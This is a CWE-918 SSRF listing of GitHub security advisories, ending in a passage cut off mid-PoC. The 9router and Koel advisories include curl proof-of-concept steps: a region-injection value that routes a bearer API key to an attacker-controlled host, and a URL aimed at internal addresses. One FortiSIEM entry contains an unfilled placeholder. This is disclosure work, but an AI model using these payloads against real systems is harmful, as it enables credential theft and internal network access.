CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
5953 vulnerabilities reference this CWE, most recent first.
GHSA-6M7H-PQMP-QMM7
Vulnerability from github – Published: 2026-08-29 06:30 – Updated: 2026-08-30 03:31The SmartAIPress WordPress plugin through 1.2.0 does not perform a capability check on one of its AJAX actions and does not validate a user-supplied URL before fetching it server-side, allowing users with subscriber-level access and above to make the site retrieve arbitrary internal or external URLs and read the response, resulting in a full-read Server-Side Request Forgery.
{
"affected": [],
"aliases": [
"CVE-2026-16600"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-29T06:17:05Z",
"severity": "HIGH"
},
"details": "The SmartAIPress WordPress plugin through 1.2.0 does not perform a capability check on one of its AJAX actions and does not validate a user-supplied URL before fetching it server-side, allowing users with subscriber-level access and above to make the site retrieve arbitrary internal or external URLs and read the response, resulting in a full-read Server-Side Request Forgery.",
"id": "GHSA-6m7h-pqmp-qmm7",
"modified": "2026-08-30T03:31:20Z",
"published": "2026-08-29T06:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16600"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/66d2dc2d-fe77-4d34-bfca-d47b086a9c96"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6M7J-3J3G-22G4
Vulnerability from github – Published: 2026-06-09 21:32 – Updated: 2026-06-09 21:32Adobe Campaign Classic (ACC) versions 7.4.3 build 9394 and earlier are affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue does not require user interaction. Scope is changed.
{
"affected": [],
"aliases": [
"CVE-2026-47938"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-09T21:17:23Z",
"severity": "CRITICAL"
},
"details": "Adobe Campaign Classic (ACC) versions 7.4.3 build 9394 and earlier are affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue does not require user interaction. Scope is changed.",
"id": "GHSA-6m7j-3j3g-22g4",
"modified": "2026-06-09T21:32:39Z",
"published": "2026-06-09T21:32:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47938"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/campaign/apsb26-66.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6M93-343M-3JRC
Vulnerability from github – Published: 2022-01-21 23:29 – Updated: 2022-01-25 20:48An issue was discovered in Spipu HTML2PDF before 5.2.4. Attackers can trigger deserialization of arbitrary data via the injection of a malicious tag in the converted HTML document.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "spipu/html2pdf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.2.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-45394"
],
"database_specific": {
"cwe_ids": [
"CWE-79",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2022-01-19T22:40:38Z",
"nvd_published_at": "2022-01-18T12:15:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in Spipu HTML2PDF before 5.2.4. Attackers can trigger deserialization of arbitrary data via the injection of a malicious \u003clink\u003e tag in the converted HTML document.",
"id": "GHSA-6m93-343m-3jrc",
"modified": "2022-01-25T20:48:30Z",
"published": "2022-01-21T23:29:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-45394"
},
{
"type": "WEB",
"url": "https://github.com/spipu/html2pdf/commit/100a4d509abf8550765cf0e0da83e83abb422585"
},
{
"type": "WEB",
"url": "https://github.com/spipu/html2pdf/commit/2e6bab9a2afe9cfd4d3c3038da64d8ad74e41d7f"
},
{
"type": "PACKAGE",
"url": "https://github.com/spipu/html2pdf"
},
{
"type": "WEB",
"url": "https://github.com/spipu/html2pdf/blob/master/CHANGELOG.md"
},
{
"type": "WEB",
"url": "https://github.com/spipu/html2pdf/releases/tag/v5.2.4"
},
{
"type": "WEB",
"url": "https://www.synacktiv.com/sites/default/files/2022-01/html2pdf_ssrf_deserialization.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Cross-site Scripting in HTML2PDF"
}
GHSA-6MF3-9673-CQ56
Vulnerability from github – Published: 2025-06-04 15:30 – Updated: 2025-06-04 15:30Sensitive information disclosure due to SSRF. The following products are affected: Acronis Cyber Protect 16 (Windows, Linux) before build 39938.
{
"affected": [],
"aliases": [
"CVE-2025-48962"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-04T14:15:29Z",
"severity": "MODERATE"
},
"details": "Sensitive information disclosure due to SSRF. The following products are affected: Acronis Cyber Protect 16 (Windows, Linux) before build 39938.",
"id": "GHSA-6mf3-9673-cq56",
"modified": "2025-06-04T15:30:40Z",
"published": "2025-06-04T15:30:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48962"
},
{
"type": "WEB",
"url": "https://security-advisory.acronis.com/advisories/SEC-8514"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6MG8-CPX2-HRFF
Vulnerability from github – Published: 2026-08-27 21:31 – Updated: 2026-08-27 21:31Potential arbitrary file read and SSRF vulnerability in Spring Cloud Function. Spring Cloud Function 5.0.0 - 5.0.3 Spring Cloud Function 4.3.0 - 4.3.4 Spring Cloud Function 4.2.0 - 4.2.7
{
"affected": [],
"aliases": [
"CVE-2026-59291"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-27T20:17:55Z",
"severity": "LOW"
},
"details": "Potential arbitrary file read and SSRF vulnerability in Spring Cloud Function.\nSpring Cloud Function 5.0.0 - 5.0.3\nSpring Cloud Function 4.3.0 - 4.3.4\nSpring Cloud Function 4.2.0 - 4.2.7",
"id": "GHSA-6mg8-cpx2-hrff",
"modified": "2026-08-27T21:31:43Z",
"published": "2026-08-27T21:31:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59291"
},
{
"type": "WEB",
"url": "https://spring.io/security/cve-2026-59291"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6MV9-HCX5-7MHH
Vulnerability from github – Published: 2022-05-13 01:01 – Updated: 2022-06-30 19:43An improper authorization vulnerability exists in Jenkins versions 2.106 and earlier, and LTS 2.89.3 and earlier, that allows an attacker to have Jenkins submit HTTP GET requests and get limited information about the response.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.89.3"
},
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.main:jenkins-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.89.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.106"
},
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.main:jenkins-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.90"
},
{
"fixed": "2.107"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-1000067"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2022-06-30T19:43:25Z",
"nvd_published_at": "2018-02-16T00:29:00Z",
"severity": "MODERATE"
},
"details": "An improper authorization vulnerability exists in Jenkins versions 2.106 and earlier, and LTS 2.89.3 and earlier, that allows an attacker to have Jenkins submit HTTP GET requests and get limited information about the response.",
"id": "GHSA-6mv9-hcx5-7mhh",
"modified": "2022-06-30T19:43:25Z",
"published": "2022-05-13T01:01:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1000067"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/jenkins/commit/2d16b459205730d85e51499c2457109b234ca9d9"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/jenkins"
},
{
"type": "WEB",
"url": "https://jenkins.io/security/advisory/2018-02-14/#SECURITY-506"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuapr2022.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Server-Side Request Forgery in Jenkins"
}
GHSA-6MWV-4MRM-5P3M
Vulnerability from github – Published: 2026-09-23 18:12 – Updated: 2026-09-23 18:12Summary
The Kiro API-key validation endpoint builds an upstream URL using a user-controlled
region value. By supplying a crafted region such as kiro-canary.local:8443#, an
authenticated attacker can cause 9router to send the Kiro validation request to an
attacker-controlled host under the constructed codewhisperer.<region> hostname. The
request forwards the submitted Kiro API key as an Authorization: Bearer header.
Details
- Affected version / commit: 9router v0.5.2 @
5da508a. - Endpoint:
POST /api/oauth/kiro/api-key. - Correct runtime payload:
region: "kiro-canary.local:8443#". - Do not use the old
@host#payload (region: "@kiro-canary.local:8443#"); it is blocked by Node/undicifetch()because it creates URL credentials ("Request cannot be constructed from a URL that includes credentials"). - Constructed upstream host becomes:
codewhisperer.kiro-canary.local:8443(the#turns the trailing.amazonaws.cominto a URL fragment). - HTTPS canary captured:
Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO. - TLS verification was not globally disabled; the reproduction uses a local CA via
NODE_EXTRA_CA_CERTS. - The no-auth control returns 401, so this standalone issue is authenticated.
SameSite=Laxon the session cookie prevents cross-site POST cookie delivery, so do not claim drive-by CSRF unless another same-site / auth-bypass primitive is chained.
Root cause. The route reads region straight from the request body and passes it,
unvalidated, into the upstream URL template; the bearer credential is forwarded to that
host, and the upstream response body is reflected back to the client on error:
// src/app/api/oauth/kiro/api-key/route.js
const { apiKey, region } = await request.json();
...
const credential = await kiroService.validateApiKey(apiKey, region || "us-east-1");
...
} catch (error) {
return NextResponse.json({ error: error.message }, { status: 500 }); // reflects upstream body
}
// src/lib/oauth/services/kiro.js — listAvailableProfiles()
const endpoint = `https://codewhisperer.${region}.amazonaws.com`; // region interpolated
const response = await fetch(endpoint, {
method: "POST",
headers: {
"x-amz-target": "AmazonCodeWhispererService.ListAvailableProfiles",
"Authorization": `Bearer ${accessToken}`, // credential forwarded
...
},
body: JSON.stringify({ maxResults: 10 }),
});
if (!response.ok) {
const error = await response.text();
throw new Error(`Failed to list profiles: ${error}`); // upstream body -> error.message
}
There is no allowlist on region, and the call uses the default fetch dispatcher (no
internal-IP denylist / DNS pinning), so a codewhisperer.<attacker-domain> that resolves
to an internal address (e.g. 169.254.169.254 or RFC1918) would be reached.
PoC
Start the package:
docker compose up --build
The endpoint is authenticated, so first obtain a dashboard session using the password
configured in docker-compose.yml (INITIAL_PASSWORD), saving the cookie:
curl -i -c session.txt -X POST http://127.0.0.1:18184/api/auth/login \
-H "Content-Type: application/json" \
-d '{"password":"repro-dashboard-pass"}'
Then send the region-injection request with that session cookie:
curl -i -b session.txt -X POST http://127.0.0.1:18184/api/oauth/kiro/api-key \
-H "Content-Type: application/json" \
-d '{"apiKey":"DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO","region":"kiro-canary.local:8443#"}'
Expected:
- 9router returns a 500 whose body contains a controlled canary marker, indicating the validation request reached the canary and its response was reflected.
docker compose logs kiro-canaryshows a request with:Host: codewhisperer.kiro-canary.local:8443Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO
No-auth control (no session cookie):
curl -i -X POST http://127.0.0.1:18184/api/oauth/kiro/api-key \
-H "Content-Type: application/json" \
-d '{"apiKey":"DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO","region":"kiro-canary.local:8443#"}'
Expected: 401 Unauthorized.
Safe-region control (region: "us-east-1"): no canary hit; the blackholed AWS host is
never contacted.
Impact
An authenticated attacker can make the server send a Kiro validation request to an attacker-controlled host and forward the submitted Kiro API key in the Authorization header. This can be used for SSRF and credential forwarding during Kiro API-key validation. The issue is authenticated as a standalone bug.
Screenshots
The following screenshots show the safe-region control, the region-injection SSRF trigger, the HTTPS canary evidence, and the no-auth control.
1. Safe-region control — normal Kiro validation path
An authenticated request to
/api/oauth/kiro/api-keyusing the valid regionus-east-1and a dummy API key completes normally with200 OK. This establishes the expected non-malicious validation path.
2. Region-injection SSRF trigger — canary marker reflected
An authenticated request supplies the crafted region value
kiro-canary.local:8443#. Because the upstream URL is built from the rawregionvalue, the request is routed to the attacker-controlled canary host under the constructedcodewhisperer.<attacker-domain>hostname. The response contains a canary marker, confirming the server-side request reached the controlled endpoint.
3. HTTPS canary evidence — Authorization header forwarded
The HTTPS canary logs show a server-side request from the 9router container with
Host: codewhisperer.kiro-canary.local:8443andAuthorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO. This confirms that the injected region controls the constructed upstream host and that 9router forwards the submitted Kiro API key to that host.
4. No-auth control — endpoint requires authentication
The same region-injection payload is sent without an authenticated session cookie, and the server returns
401 Unauthorized. This confirms the issue is authenticated as a standalone vulnerability and should not be described as unauthenticated unless it is chained with a separate authentication bypass.
Suggested Fix
- Validate
regionagainst a strict allowlist of known Kiro/AWS regions (e.g.^[a-z]{2}-[a-z]+-\d$). - Construct upstream endpoints only from fixed enum values.
- Reject region values containing colon, slash, hash, at-sign, userinfo, whitespace, or hostname separators.
- After URL construction, validate that the final hostname exactly matches the expected AWS/Kiro hostname pattern.
- Do not forward Authorization headers to hosts derived from untrusted input, and stop
reflecting upstream response bodies in
error.message.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.5.2"
},
"package": {
"ecosystem": "npm",
"name": "9router"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.5.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-56678"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-23T18:12:30Z",
"nvd_published_at": "2026-07-15T21:16:55Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe Kiro API-key validation endpoint builds an upstream URL using a user-controlled\n`region` value. By supplying a crafted region such as `kiro-canary.local:8443#`, an\nauthenticated attacker can cause 9router to send the Kiro validation request to an\nattacker-controlled host under the constructed `codewhisperer.\u003cregion\u003e` hostname. The\nrequest forwards the submitted Kiro API key as an `Authorization: Bearer` header.\n\n### Details\n\n- **Affected version / commit:** 9router v0.5.2 @ `5da508a`.\n- **Endpoint:** `POST /api/oauth/kiro/api-key`.\n- **Correct runtime payload:** `region: \"kiro-canary.local:8443#\"`.\n- Do **not** use the old `@host#` payload (`region: \"@kiro-canary.local:8443#\"`); it is\n blocked by Node/undici `fetch()` because it creates URL credentials\n (`\"Request cannot be constructed from a URL that includes credentials\"`).\n- **Constructed upstream host becomes:** `codewhisperer.kiro-canary.local:8443`\n (the `#` turns the trailing `.amazonaws.com` into a URL fragment).\n- HTTPS canary captured: `Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO`.\n- TLS verification was **not** globally disabled; the reproduction uses a local CA via\n `NODE_EXTRA_CA_CERTS`.\n- The no-auth control returns 401, so this standalone issue is **authenticated**.\n- `SameSite=Lax` on the session cookie prevents cross-site POST cookie delivery, so do\n **not** claim drive-by CSRF unless another same-site / auth-bypass primitive is\n chained.\n\n**Root cause.** The route reads `region` straight from the request body and passes it,\nunvalidated, into the upstream URL template; the bearer credential is forwarded to that\nhost, and the upstream response body is reflected back to the client on error:\n\n```js\n// src/app/api/oauth/kiro/api-key/route.js\nconst { apiKey, region } = await request.json();\n...\nconst credential = await kiroService.validateApiKey(apiKey, region || \"us-east-1\");\n...\n} catch (error) {\n return NextResponse.json({ error: error.message }, { status: 500 }); // reflects upstream body\n}\n```\n\n```js\n// src/lib/oauth/services/kiro.js \u2014 listAvailableProfiles()\nconst endpoint = `https://codewhisperer.${region}.amazonaws.com`; // region interpolated\nconst response = await fetch(endpoint, {\n method: \"POST\",\n headers: {\n \"x-amz-target\": \"AmazonCodeWhispererService.ListAvailableProfiles\",\n \"Authorization\": `Bearer ${accessToken}`, // credential forwarded\n ...\n },\n body: JSON.stringify({ maxResults: 10 }),\n});\nif (!response.ok) {\n const error = await response.text();\n throw new Error(`Failed to list profiles: ${error}`); // upstream body -\u003e error.message\n}\n```\n\nThere is no allowlist on `region`, and the call uses the default fetch dispatcher (no\ninternal-IP denylist / DNS pinning), so a `codewhisperer.\u003cattacker-domain\u003e` that resolves\nto an internal address (e.g. `169.254.169.254` or RFC1918) would be reached.\n\n### PoC\n\nStart the package:\n\n```bash\ndocker compose up --build\n```\n\nThe endpoint is authenticated, so first obtain a dashboard session using the password\nconfigured in `docker-compose.yml` (`INITIAL_PASSWORD`), saving the cookie:\n\n```bash\ncurl -i -c session.txt -X POST http://127.0.0.1:18184/api/auth/login \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"password\":\"repro-dashboard-pass\"}\u0027\n```\n\nThen send the region-injection request with that session cookie:\n\n```bash\ncurl -i -b session.txt -X POST http://127.0.0.1:18184/api/oauth/kiro/api-key \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"apiKey\":\"DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO\",\"region\":\"kiro-canary.local:8443#\"}\u0027\n```\n\nExpected:\n\n- 9router returns a 500 whose body contains a controlled canary marker, indicating the\n validation request reached the canary and its response was reflected.\n- `docker compose logs kiro-canary` shows a request with:\n - `Host: codewhisperer.kiro-canary.local:8443`\n - `Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO`\n\nNo-auth control (no session cookie):\n\n```bash\ncurl -i -X POST http://127.0.0.1:18184/api/oauth/kiro/api-key \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"apiKey\":\"DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO\",\"region\":\"kiro-canary.local:8443#\"}\u0027\n```\n\nExpected: 401 Unauthorized.\n\nSafe-region control (`region: \"us-east-1\"`): no canary hit; the blackholed AWS host is\nnever contacted.\n\n### Impact\n\nAn authenticated attacker can make the server send a Kiro validation request to an\nattacker-controlled host and forward the submitted Kiro API key in the Authorization\nheader. This can be used for SSRF and credential forwarding during Kiro API-key\nvalidation. The issue is authenticated as a standalone bug.\n\n### Screenshots\n\nThe following screenshots show the safe-region control, the region-injection SSRF trigger, the HTTPS canary evidence, and the no-auth control.\n\n#### 1. Safe-region control \u2014 normal Kiro validation path\n\n\u003cimg width=\"1548\" height=\"831\" alt=\"01-kiro-safe-region-control\" src=\"https://github.com/user-attachments/assets/0a07d82c-16f0-4af3-97f2-145578c9e47b\" /\u003e\n\n\u003e**An authenticated request to `/api/oauth/kiro/api-key` using the valid region `us-east-1` and a dummy API key completes normally with `200 OK`. This establishes the expected non-malicious validation path.**\n\n#### 2. Region-injection SSRF trigger \u2014 canary marker reflected\n\n\u003cimg width=\"1547\" height=\"840\" alt=\"02-kiro-region-injection-ssrf-500-reflection\" src=\"https://github.com/user-attachments/assets/f31a1471-ce8b-490c-a439-58089b3ac780\" /\u003e\n\n\u003e**An authenticated request supplies the crafted region value `kiro-canary.local:8443#`. Because the upstream URL is built from the raw `region` value, the request is routed to the attacker-controlled canary host under the constructed `codewhisperer.\u003cattacker-domain\u003e` hostname. The response contains a canary marker, confirming the server-side request reached the controlled endpoint.**\n\n#### 3. HTTPS canary evidence \u2014 Authorization header forwarded\n\n\u003cimg width=\"1476\" height=\"960\" alt=\"03-kiro-canary-authorization-captured\" src=\"https://github.com/user-attachments/assets/2f445daa-307b-4223-92e8-7482d745d2b1\" /\u003e\n\n\u003e**The HTTPS canary logs show a server-side request from the 9router container with `Host: codewhisperer.kiro-canary.local:8443` and `Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO`. This confirms that the injected region controls the constructed upstream host and that 9router forwards the submitted Kiro API key to that host.**\n\n#### 4. No-auth control \u2014 endpoint requires authentication\n\n\u003cimg width=\"1544\" height=\"839\" alt=\"04-kiro-no-auth-control-401\" src=\"https://github.com/user-attachments/assets/664955ab-35a3-4c5f-bd5e-bd049f17b0c9\" /\u003e\n\n\u003e**The same region-injection payload is sent without an authenticated session cookie, and the server returns `401 Unauthorized`. This confirms the issue is authenticated as a standalone vulnerability and should not be described as unauthenticated unless it is chained with a separate authentication bypass.**\n\n### Suggested Fix\n\n- Validate `region` against a strict allowlist of known Kiro/AWS regions\n (e.g. `^[a-z]{2}-[a-z]+-\\d$`).\n- Construct upstream endpoints only from fixed enum values.\n- Reject region values containing colon, slash, hash, at-sign, userinfo, whitespace, or\n hostname separators.\n- After URL construction, validate that the final hostname exactly matches the expected\n AWS/Kiro hostname pattern.\n- Do not forward Authorization headers to hosts derived from untrusted input, and stop\n reflecting upstream response bodies in `error.message`.",
"id": "GHSA-6mwv-4mrm-5p3m",
"modified": "2026-09-23T18:12:30Z",
"published": "2026-09-23T18:12:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/decolua/9router/security/advisories/GHSA-6mwv-4mrm-5p3m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56678"
},
{
"type": "WEB",
"url": "https://github.com/decolua/9router/commit/126aa244c5b51b74ab8c7594e3418fcf4437bf6f"
},
{
"type": "PACKAGE",
"url": "https://github.com/decolua/9router"
},
{
"type": "WEB",
"url": "https://github.com/decolua/9router/releases/tag/v0.5.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "9router: Kiro region injection allows authenticated SSRF with Authorization header forwarding"
}
GHSA-6P3G-37Q6-R7F3
Vulnerability from github – Published: 2026-08-12 15:30 – Updated: 2026-08-12 15:30A server-side request forgery (ssrf) vulnerability in Fortinet FortiSIEM 7.5.0, FortiSIEM 7.4.0 through 7.4.2, FortiSIEM 7.3.0 through 7.3.5, FortiSIEM 7.2 all versions, FortiSIEM 7.1 all versions, FortiSIEM 7.0 all versions, FortiSIEM 6.7 all versions, FortiSIEM 6.6 all versions, FortiSIEM 6.5 all versions may allow attacker to execute unauthorized code or commands via
{
"affected": [],
"aliases": [
"CVE-2026-70467"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-12T13:17:25Z",
"severity": "LOW"
},
"details": "A server-side request forgery (ssrf) vulnerability in Fortinet FortiSIEM 7.5.0, FortiSIEM 7.4.0 through 7.4.2, FortiSIEM 7.3.0 through 7.3.5, FortiSIEM 7.2 all versions, FortiSIEM 7.1 all versions, FortiSIEM 7.0 all versions, FortiSIEM 6.7 all versions, FortiSIEM 6.6 all versions, FortiSIEM 6.5 all versions may allow attacker to execute unauthorized code or commands via \u003cinsert attack vector here\u003e",
"id": "GHSA-6p3g-37q6-r7f3",
"modified": "2026-08-12T15:30:44Z",
"published": "2026-08-12T15:30:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-70467"
},
{
"type": "WEB",
"url": "https://fortiguard.fortinet.com/psirt/FG-IR-26-159"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6P7R-732R-W94V
Vulnerability from github – Published: 2025-10-24 12:30 – Updated: 2025-10-24 12:30The Real Cookie Banner: GDPR & ePrivacy Cookie Consent plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 5.2.4. This is due to insufficient validation on the user-supplied URL in the '/scanner/scan-without-login' REST API endpoint. This makes it possible for authenticated attackers, with administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services via the url parameter.
{
"affected": [],
"aliases": [
"CVE-2025-12136"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-24T10:15:38Z",
"severity": "MODERATE"
},
"details": "The Real Cookie Banner: GDPR \u0026 ePrivacy Cookie Consent plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 5.2.4. This is due to insufficient validation on the user-supplied URL in the \u0027/scanner/scan-without-login\u0027 REST API endpoint. This makes it possible for authenticated attackers, with administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services via the `url` parameter.",
"id": "GHSA-6p7r-732r-w94v",
"modified": "2025-10-24T12:30:51Z",
"published": "2025-10-24T12:30:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12136"
},
{
"type": "WEB",
"url": "https://infosecstuff.com/SSRF-Real-Cookie-Banner"
},
{
"type": "WEB",
"url": "https://owasp.org/www-community/attacks/Server_Side_Request_Forgery"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/real-cookie-banner/trunk/inc/rest/Scanner.php#L210"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/real-cookie-banner/trunk/inc/rest/Scanner.php#L223"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/real-cookie-banner/trunk/inc/rest/Scanner.php#L48"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3378727"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7f559d7f-3faf-4549-b529-f4db03dce2dd?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6P96-CFG5-4VHP
Vulnerability from github – Published: 2026-07-15 17:13 – Updated: 2026-07-15 17:13Summary
Koel v9.6.0 validates radio station URLs on the regular web API, but the Subsonic-compatible radio endpoints do not apply the same SSRF protections. An authenticated user can create or update a radio station with a private URL and then use Koel's radio streaming feature to make the server fetch that URL and return the upstream response body.
This was validated against v9.6.0 (352ea5ec27fa22294da8fb6beacb3d5552f0d09c) using the official phanan/koel:9.6.0 image.
Details
SafeUrl is applied on the web API, but not on the Subsonic endpoints
Koel's regular radio API protects station URLs with SafeUrl and HasAudioContentType:
app/Http/Requests/API/Radio/RadioStationStoreRequest.phpapp/Http/Requests/API/Radio/RadioStationUpdateRequest.php
new SafeUrl(),
new HasAudioContentType(),
The Subsonic-compatible routes do not reuse those checks:
routes/subsonic.phpcreateInternetRadioStation.viewupdateInternetRadioStation.viewapp/Http/Requests/Subsonic/CreateInternetRadioStationRequest.phpapp/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php
return [
'streamUrl' => ['required', 'string'],
'name' => ['required', 'string'],
'homepageUrl' => ['nullable', 'string'],
];
The result is a validation gap between two routes that create the same type of object.
The unvalidated URL is stored and later fetched server-side
The Subsonic controllers hand the supplied URL to the regular radio service without any SSRF validation:
app/Http/Controllers/Subsonic/CreateInternetRadioStationController.phpapp/Http/Controllers/Subsonic/UpdateInternetRadioStationController.phpapp/Services/RadioService.php
The SSRF is triggered when the station is played:
app/Http/Controllers/StreamRadioController.phpapp/Services/Radio/RadioStreamService.phpapp/Services/Radio/RadioStreamProxy.php
RadioStreamProxy::openStream() opens a web address supplied by the attacker (attacker-controlled URL) without proper checks:
$stream = fopen($url, 'r', false, $context);
The response body is returned to the attacker
If the upstream response is treated as a normal stream, Koel forwards it back to the client:
while (!feof($stream) && !connection_aborted()) {
echo fread($stream, 8192);
flush();
}
That makes this a full-read SSRF rather than a blind SSRF. The attacker is not only limited to causing an internal request, but also they can read the HTTP response through /radio/stream/{id}.
This behavior also differs from the documented expectation in docs/usage/radio.md, which says Koel checks the URL when adding or editing a radio station.
PoC
The following steps were validated against the official phanan/koel:9.6.0 image.
- Authenticate and obtain an API token:
API_TOKEN=$(
curl -sS -X POST http://127.0.0.1:18081/api/me \
-H 'Content-Type: application/json' \
--data '{"email":"admin@koel.dev","password":"KoelIsCool"}' \
| python3 -c 'import json,sys; print(json.load(sys.stdin)["token"])'
)
- Obtain the user's Subsonic API key:
SUBSONIC_KEY=$(
curl -sS http://127.0.0.1:18081/api/data \
-H "Authorization: Bearer $API_TOKEN" \
| python3 -c 'import json,sys; print(json.load(sys.stdin)["current_user"]["subsonic_api_key"])'
)
- Prepare an internal-only target URL. In my validation, I used a host-side HTTP server reachable from the container through the Docker bridge:
TARGET_URL="http://172.17.0.1:18090/feed.xml"
